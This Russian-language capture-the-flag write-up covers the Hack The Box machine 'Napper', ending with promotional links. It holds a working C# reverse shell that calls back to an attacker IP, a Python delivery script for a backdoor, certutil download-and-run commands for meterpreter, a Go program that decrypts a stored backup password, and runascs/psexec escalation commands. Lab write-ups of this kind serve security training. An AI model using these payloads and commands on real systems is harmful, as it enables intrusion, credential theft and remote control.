Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/78237b2d-fea4-4910-9dde-90a507c70a9a я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Машине присвоен IP-адрес 10.10.11.240
, запустим сканирование портов с помощью rustscan
:
$ rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.240 -- -A -sC
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.240:80
Open 10.10.11.240:443
Open 10.10.11.240:7680
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.240
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-11 14:01 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Initiating Ping Scan at 14:01
Scanning 10.10.11.240 [2 ports]
Completed Ping Scan at 14:01, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:01
Completed Parallel DNS resolution of 1 host. at 14:01, 1.36s elapsed
DNS resolution of 1 IPs took 1.36s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:01
Scanning 10.10.11.240 [3 ports]
Discovered open port 7680/tcp on 10.10.11.240
Discovered open port 443/tcp on 10.10.11.240
Discovered open port 80/tcp on 10.10.11.240
Completed Connect Scan at 14:01, 0.26s elapsed (3 total ports)
Initiating Service scan at 14:01
Scanning 3 services on 10.10.11.240
Completed Service scan at 14:02, 48.89s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.240.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 5.12s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 1.47s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
Nmap scan report for 10.10.11.240
Host is up, received syn-ack (0.12s latency).
Scanned at 2023-11-11 14:01:36 EST for 56s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://app.napper.htb
443/tcp open ssl/http syn-ack Microsoft IIS httpd 10.0
|_http-title: Research Blog | Home
| tls-alpn:
|_ http/1.1
|_ssl-date: 2023-11-11T19:02:31+00:00; 0s from scanner time.
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US/organizationalUnitName=MlopsHub Dev/localityName=San Fransisco
| Subject Alternative Name: DNS:app.napper.htb
| Issuer: commonName=ca.napper.htb/countryName=US/localityName=San Fransisco
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-07T14:58:55
| Not valid after: 2033-06-04T14:58:55
| MD5: ee1a:dff8:9a6f:5ddd:1add:9d22:0408:58dc
| SHA-1: f134:fe38:31f5:0c74:9a26:d441:63a8:232d:a67a:782b
| -----BEGIN CERTIFICATE-----
| MIIDzTCCArWgAwIBAgIJALM7fwOVfMaCMA0GCSqGSIb3DQEBCwUAMD0xFjAUBgNV
| BAMMDWNhLm5hcHBlci5odGIxCzAJBgNVBAYTAlVTMRYwFAYDVQQHDA1TYW4gRnJh
| bnNpc2NvMB4XDTIzMDYwNzE0NTg1NVoXDTMzMDYwNDE0NTg1NVowfTELMAkGA1UE
| BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuc2lz
| Y28xETAPBgNVBAoMCE1Mb3BzSHViMRUwEwYDVQQLDAxNbG9wc0h1YiBEZXYxFzAV
| BgNVBAMMDmFwcC5uYXBwZXIuaHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
| CgKCAQEAqkM19E9lbE476qF6RBriuwNHdCgjwLybb9pXWIgtPen6hNCBvzp0XLlY
| ZWJ3NNszYH7Z6pgDJHCDIrSZXtkAEHh7AdoN7ZFLWScHwz/qWesBjH2DYHfBABkm
| qorv3dS6MqpZXJK81e1bQdS9IlRiPmJTYHX17+vfd7FBP2XaARtpgDIkDEPyPIIe
| GfTbtk3/E3N/EjZX7lR7lgAMhZmpEpmb7AoQ1btPraFwH/PXG5r020vfC+fCzgAK
| X3BmCfSzUI2AXz/2GJrRsSSdjKTCLJgn5Cau9bI+IO9pH3HOkfXDiWLB4ip++dGK
| hxYMEc5xwrcF3ZsE6s42cisD8pNipwIDAQABo4GPMIGMMFcGA1UdIwRQME6hQaQ/
| MD0xFjAUBgNVBAMMDWNhLm5hcHBlci5odGIxCzAJBgNVBAYTAlVTMRYwFAYDVQQH
| DA1TYW4gRnJhbnNpc2NvggkA4xs9TVmYevYwCQYDVR0TBAIwADALBgNVHQ8EBAMC
| BPAwGQYDVR0RBBIwEIIOYXBwLm5hcHBlci5odGIwDQYJKoZIhvcNAQELBQADggEB
| ABuy5lV920FJXR4j0dWSAqpEPCXj3jVc7vbozP24sFAocNCzodYiuKV10NyhXxJ+
| rxgu5HgmWk47yaz17eYwMDWYnfoIGRVMl4IkSve/9wr1+ReiywIPGyCG/GCxk3KI
| OG/IyX9j8KR7bhTnlMPixVVqkAu0E2CwZ8I0WmjBdQzEs4wBmpmRO5Eqodxf/jkM
| 3a7CU0Q3m9+SKwOnvarn0Wp++UmlD4/y+O8+j9+URXtD7RElZfrcv9wknVGD7H0s
| U98Kn5WCVanMjGtaQmBjCNdTX/6rif90qiTgyw3mGw8IyatfXAwF75jkvB4vTAHk
| ziVXyfoozsWvOoF8/YiMKsI=
|_-----END CERTIFICATE-----
7680/tcp open pando-pub? syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 0s
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.41 seconds
Сразу добавим себе в /etc/hosts
все найденные доменные имена:
$ sudo nano /etc/hosts
10.10.11.240 napper.htb app.napper.htb ca.napper.htb
Веб-сервис
Так выглядит блог:
Блог создан с помощью Hugo - это статические файлы.
Запустим gobuster
, чтобы поискать другие домены:
$ gobuster vhost -u https://napper.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://napper.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: internal.napper.htb Status: 401 [Size: 1293]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
Добавим найденный домен в /etc/hosts
.
На внутреннем портале нас встречает Basic Auth.
Находим в блоге статью https://app.napper.htb/posts/setup-basic-auth-powershell/, в которой видим пример команды для добавления нового пользователя.
Вводим эти креды и попадаем на внутренний портал.
В статье https://internal.napper.htb/posts/first-re-research/ находим ссылки на исследование малвари, а также ссылки на другие референсы:
- https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
- https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener
- https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep
Из текста статьи понимаем, что исследователь запустил малварь на локальной машине вне песочницы.
Naplistener
Хеш файла из ссылок выше 6e8c5bb2dfc90bca380c6f42af7458c8b8af40b7be95fab91e7c67b0dee664c4
.
Если отправить пустую форму, то получим 404:
curl -v -k --request POST -d "" https://napper.htb/ews/MsExgHealthCheckd/
Если прокинуть параметр sdafwe3rwe23
, то сервер отвечает кодом 200:
curl -v -k --request POST -d "sdafwe3rwe23=test" https://napper.htb/ews/MsExgHealthCheckd/
Берем любой реверс-шелл и переписываем его с учетом того, что нам нужно создать класс Run
.
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Text;
namespace messagebox
{
internal class Program
{
static StreamWriter streamWriter;
public static void BackConnect(string ip, int port)
{
using (TcpClient client = new TcpClient(ip, port))
{
using (Stream stream = client.GetStream())
{
using (StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while (true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!string.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception) { }
}
}
static void Main()
{
new Run();
}
}
public class Run
{
public Run()
{
Program.BackConnect("10.10.14.156", 443);
}
}
}
Компилируем и получаем base64 представление:
cat messagebox.exe | base64 -w 0 | xclip -sel clip
Вставляем в payload
в скрипт:
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
hosts = ["napper.htb"]
payload = "<>"
form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"
for h in hosts:
url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"
try:
status_code = 0
while status_code != 200:
r_ssl = requests.post(url_ssl, data=form_field, verify=False, auth=("example", "ExamplePassword"))
print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
status_code = r_ssl.status_code
time.sleep(1)
except KeyboardInterrupt:
exit()
except Exception as e:
print("e")
pass
Запускаем скрипт и ловим реверс-шелл.
Пользовательский флаг
Повышение привилегий
Скачаем meterpreter:
certutil -urlcache -f http://10.10.14.156:4243/shell.exe %temp%/s.exe
start %temp%/s.exe
Запустим netstat
и посмотрим на подключения:
Proto Local address Remote address State User Inode PID/Program name
----- ------------- -------------- ----- ---- ----- ----------------
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 0 0 4/System
tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 892/svchost.exe
tcp 0.0.0.0:443 0.0.0.0:* LISTEN 0 0 4/System
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System
tcp 0.0.0.0:5040 0.0.0.0:* LISTEN 0 0 1940/svchost.exe
tcp 0.0.0.0:7680 0.0.0.0:* LISTEN 0 0 2440/svchost.exe
tcp 0.0.0.0:49664 0.0.0.0:* LISTEN 0 0 676/lsass.exe
tcp 0.0.0.0:49665 0.0.0.0:* LISTEN 0 0 536/wininit.exe
tcp 0.0.0.0:49666 0.0.0.0:* LISTEN 0 0 1136/svchost.exe
tcp 0.0.0.0:49667 0.0.0.0:* LISTEN 0 0 1560/svchost.exe
tcp 0.0.0.0:58797 0.0.0.0:* LISTEN 0 0 660/services.exe
tcp 10.10.11.240:139 0.0.0.0:* LISTEN 0 0 4/System
tcp 127.0.0.1:9200 0.0.0.0:* LISTEN 0 0 692/java.exe
tcp 127.0.0.1:9300 0.0.0.0:* LISTEN 0 0 692/java.exe
Два сервиса висят локально на портах 9200 и 9300 - это эластик.
Заметки в internal
:
C:\Temp\www\internal\content\posts>type no-more-laps.md
type no-more-laps.md
---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---
# Intro
We are getting rid of LAPS in favor of our own custom solution.
The password for the `backup` user will be stored in the local Elastic DB.
IT will deploy the decryption client to the admin desktops once it it ready.
We do expect the development to be ready soon. The Malware RE team will be the first test group.
Listing: C:\temp\www\internal\content\posts\internal-laps-alpha
===============================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 82 fil 2023-06-09 03:28:35 -0400 .env
100777/rwxrwxrwx 12697088 fil 2023-06-09 03:20:07 -0400 a.exe
С кредами из файла .env
мы можем ходить в эластик.
$ curl -k -u "user:pass" -X GET https://127.0.0.1:9200
{
"name" : "NAPPER",
"cluster_name" : "backupuser",
"cluster_uuid" : "tWUZG4e8QpWIwT8HmKcBiw",
"version" : {
"number" : "8.8.0",
"build_flavor" : "default",
"build_type" : "zip",
"build_hash" : "c01029875a091076ed42cdb3a41c10b1a9a5a20f",
"build_date" : "2023-05-23T17:16:07.179039820Z",
"build_snapshot" : false,
"lucene_version" : "9.6.0",
"minimum_wire_compatibility_version" : "7.17.0",
"minimum_index_compatibility_version" : "7.0.0"
},
"tagline" : "You Know, for Search"
}
Реверс бинарного файла a.exe
Получаем сид и блоб из эластика:
curl -k -u "user:pass" -X GET "https://localhost:9200/seed/_search"
curl -k -u "user:pass" -X GET "https://localhost:9200/user-00001/_search"
Пишем программу, которая будет автоматически доставать из эластика параметры и декодировать пароль:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/tls"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"log"
"math/rand"
"net/http"
)
var URL = "https://127.0.0.1:9200"
var USERNAME = "user"
var PASSWORD = "pass"
type Blob struct {
Took int `json:"took"`
TimedOut bool `json:"timed_out"`
Shards struct {
Total int `json:"total"`
Successful int `json:"successful"`
Skipped int `json:"skipped"`
Failed int `json:"failed"`
} `json:"_shards"`
Hits struct {
Total struct {
Value int `json:"value"`
Relation string `json:"relation"`
} `json:"total"`
MaxScore float64 `json:"max_score"`
Hits []struct {
Index string `json:"_index"`
ID string `json:"_id"`
Score float64 `json:"_score"`
Source struct {
Blob string `json:"blob"`
Timestamp string `json:"timestamp"`
} `json:"_source"`
} `json:"hits"`
} `json:"hits"`
}
type Seed struct {
Took int `json:"took"`
TimedOut bool `json:"timed_out"`
Shards struct {
Total int `json:"total"`
Successful int `json:"successful"`
Skipped int `json:"skipped"`
Failed int `json:"failed"`
} `json:"_shards"`
Hits struct {
Total struct {
Value int `json:"value"`
Relation string `json:"relation"`
} `json:"total"`
MaxScore float64 `json:"max_score"`
Hits []struct {
Index string `json:"_index"`
ID string `json:"_id"`
Score float64 `json:"_score"`
Source struct {
Seed int `json:"seed"`
} `json:"_source"`
} `json:"hits"`
} `json:"hits"`
}
func getBlob() string {
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
req, err := http.NewRequest("GET", fmt.Sprintf("%s/user-00001/_search", URL), nil)
if err != nil {
log.Fatal(err)
}
req.SetBasicAuth(USERNAME, PASSWORD)
res, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer res.Body.Close()
bodyBytes, err := io.ReadAll(res.Body)
if err != nil {
log.Fatal(err)
}
var blob Blob
err = json.Unmarshal(bodyBytes, &blob)
if err != nil {
log.Fatal(err)
}
return blob.Hits.Hits[0].Source.Blob
}
func getSeed() int64 {
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
req, err := http.NewRequest("GET", fmt.Sprintf("%s/seed/_search", URL), nil)
if err != nil {
log.Fatal(err)
}
req.SetBasicAuth(USERNAME, PASSWORD)
res, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer res.Body.Close()
bodyBytes, err := io.ReadAll(res.Body)
if err != nil {
log.Fatal(err)
}
var seed Seed
err = json.Unmarshal(bodyBytes, &seed)
if err != nil {
log.Fatal(err)
}
return int64(seed.Hits.Hits[0].Source.Seed)
}
func main() {
seed := getSeed()
blob := getBlob()
key := genKey(seed)
m, err := decryptMessage(key, blob)
if err != nil {
log.Println(err)
}
fmt.Println(m)
}
func genKey(seed int64) []byte {
rand.Seed(seed)
out := make([]byte, 16)
for i := 0; i < 16; i++ {
out[i] = byte(rand.Intn(254) + 1)
}
return out
}
func decryptMessage(key []byte, message string) (string, error) {
cipherText, err := base64.URLEncoding.DecodeString(message)
if err != nil {
return "", fmt.Errorf("could not base64 decode: %v", err)
}
block, err := aes.NewCipher(key)
if err != nil {
return "", fmt.Errorf("could not create new cipher: %v", err)
}
if len(cipherText) < aes.BlockSize {
return "", fmt.Errorf("invalid ciphertext block size")
}
offset := 0
iv := cipherText[offset : offset+aes.BlockSize]
cipherText = cipherText[aes.BlockSize:]
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(cipherText, cipherText)
return string(cipherText), nil
}
Команда для компиляции:
GOOS=windows GOARCH=amd64 go build p.go
Воспользуемся runascs, предварительно скомпилировав его на Windows.
Загрузим на машину получившийся файл runascs.exe
, p.exe
и наш шелл s3.exe
.
На удаленной машине запустим его со следующими параметрами:
.\runascs.exe backup $(.\p.exe) "C:\\temp\\s\\s3.exe" -l 8 -b
Далее загрузим psexec и второй наш шелл s4.exe
:
psexec -accepteula -s -i C:\temp\s\s4.exe